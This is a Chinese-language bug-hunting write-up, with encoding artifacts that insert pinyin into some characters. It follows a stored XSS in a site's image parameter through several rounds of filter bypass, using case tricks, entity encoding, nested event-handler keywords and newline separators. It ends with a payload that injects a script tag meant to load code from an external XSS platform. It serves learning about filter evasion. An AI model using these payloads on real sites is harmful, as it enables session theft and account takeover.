存儲型XSS從易到難的挖掘過程
一日在某站點(diǎn)發(fā)現(xiàn)一個找茬活動,感覺是另類的src就參與了一下。就發(fā)生了這次有趣的XSS測試過程。
0×00 開始
(注意1)XSS不僅存在于頁面上直觀所在的位置,所有用戶輸入的信息都有可能通過不同形式返回到頁面上,因此直接操作數(shù)據(jù)包來查找XSS顯得更加有效。
回到該站點(diǎn),在該站點(diǎn)一處生成app處存在一處忘記過濾。
發(fā)送的數(shù)據(jù)包如下:
- appName=TEST&icon=&loadimage=%2Ftemplate201309%2F29%2Floadimage%2F1a8aaba1-42bd-401b-9995-0f7ba08f191b.png&diyAppid=0210bd39-de98-4a1b-b855-4b0a0732894a
經(jīng)過測試發(fā)現(xiàn)其中l(wèi)oadimage參數(shù)未經(jīng)過過濾,這也就是我說的隱藏的輸入輸出位,最終直接構(gòu)造:
- loadimage=xxxxx"%20onerror="alert(1)"
0×01 覺醒
在漏洞上報之后,程序員覺醒了,由于涉及其它頁面參數(shù)輸出過濾的影響,無法直接使用粗暴的編碼把”(雙引號)過濾,而是使用一定的過濾規(guī)則來規(guī)避xss攻擊。
(注意2)XSS繞過一般針對于程序員所使用的過濾規(guī)則的疏漏,但是首要目標(biāo)應(yīng)該是在程序員未過濾的點(diǎn)上,而只有規(guī)則的不嚴(yán)謹(jǐn)才有繞過的可能。
在得到客服的回復(fù)確認(rèn)漏洞修復(fù)之后,再次回到該點(diǎn)進(jìn)行測試,繼而發(fā)現(xiàn)了有趣的情況。
測試代碼:
- loadimage=xxxxx"%20onerror="alert(1)" à <img class="appicon_img" src="xxxxxx" ***(1)>
經(jīng)過這個測試用例發(fā)現(xiàn),在空格之后的內(nèi)容經(jīng)過了一次處理,將其中alert替換成了***,onerror=直接刪除。
分析發(fā)現(xiàn)空格之后的內(nèi)容會被直接刪除,onXXX被直接刪除。
于是結(jié)合過往經(jīng)驗(yàn),使用大小寫來嘗試?yán)@過字符串替換。
測試代碼:
- loadimage=xxxxx"onError="alert(1)" à<img class="appicon_img" src="xxxxxx"onError=”***(1)”>
于是我們利用了瀏覽器的一個特性,在解析的時候?qū)㈦p引號與其后內(nèi)容分割,所以在源碼中是:
- <img class="appicon_img" src="xxxxxx"onError=”***(1)”>
而解析過程中顯示:
- <img class="appicon_img" src="xxxxxx" onError=”***(1)”>(自動添加空格)
之后就是要構(gòu)造我們的alert。(只有alert才是我想要的,什么prompt,confirm都不是我想要的。)
這里要說到的就是轉(zhuǎn)編碼的利用。
詳文可參考:
http://drops.wooyun.org/tips/689
處于html上下文的字符串將會優(yōu)先進(jìn)行一次html解碼,而處于onXXXX、javascript:、script等標(biāo)簽之中的則處于javascript上下文,其中變量字符串將會執(zhí)行一次javascript解碼。
運(yùn)用這個特性,我們可以在onerror事件當(dāng)中使用html編碼來構(gòu)造任意字符,而其中所必須的字符為&,很幸運(yùn)的時該字符并未被過濾。因此我可以使用其構(gòu)造任意字符,達(dá)到繞過的效果。
直接構(gòu)造:
- loadimage=xxxxx"onError="%26#x61lert(1)"
0×02 絕殺
再次提交客服,并得到修復(fù)確認(rèn)后,又進(jìn)行了一次測試,之后繼續(xù)有趣。
(注意3)確定過濾規(guī)則是繞過限制的第一步,通過已知規(guī)則構(gòu)造繞過payload來生成所需字符為最終目的。
繞過富文本大概的思路就是這樣。
繼續(xù)通過輸入不同字符串來檢查新增的過濾規(guī)則,最終得到幾條有用的信息:
- <img src="1"onerroonerrorr=r= /> ==> <img src="1"onerror>
- <img src="1"onerror===”xxx” /> ==> <img src="1" =”xxx” />
本以為結(jié)合一下就成了,沒想到變成這樣:
- <img src="1"onerroonerrorr=r= onerror===”xxx”/> ==> <img src="1" />
初步分析等到的規(guī)則:
1、onxxx= 將會去除on以及=和它們之間的內(nèi)容
2、有 = 號就會檢查前面有沒有on
3、tab %20(空格)之后的內(nèi)容全部清除
4、碰到雙引號就停止刪除
大概統(tǒng)計(jì)了一下以上的過濾規(guī)則,就可以開始構(gòu)造payload了。
使用src=”1″onerroonerrorr=r生成onerror。
使用%0a(換行)來分割導(dǎo)致過濾不起作用。
最終完成了整條payload:
- <img src="1"onerroonerrorr=r%0a="prompt(/just kidding!/)" />
(這次不計(jì)較與alert了,使用上一條方法即可。)
最終截圖:
同樣可以解析成功!
0×03 利用
完整的XSS一定需要附帶利用的過程,可完整構(gòu)造payload還需要考慮很多情況,比如關(guān)鍵字符串的替換、輸出點(diǎn)允許的最大字長、是否可影響其他用戶或管理員。
最終偵查該點(diǎn),長度為262個字符,替換了script、create等字符,不過通過之前記錄下來的方法完全可以利用。
Payload:
- <img/src="1" onerroonerrorr=r%0a="window.s=document.cre%26#61teElement(String.fromCh%26#61rCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(1,2,3,4,5,6,7,8);document.body.%26#61ppendChild(window.s)">
即使你的xss平臺URL很長,也可以通過利用短域名壓縮的方式達(dá)到一個較低的水平。
0×04 總結(jié)
新手在找XSS的時候總是存在一些盲點(diǎn),無法全面的獲取用戶輸入位以及該點(diǎn)的輸出頁面,對于存儲型XSS來說,輸出的頁面不局限于當(dāng)前頁面。
探查程序的代碼邏輯是繞過的根本,fuzz雖然提高了效率,但是想要準(zhǔn)確的發(fā)現(xiàn)問題必須有要針對性的構(gòu)造語句。
另外一些領(lǐng)悟可以移駕gainover所寫的一篇短文:
http://zone.wooyun.org/content/1557
0×05 后話
最后一次繞過是在5.12,不知道之后該站程序員會怎么樣去處理這個問題。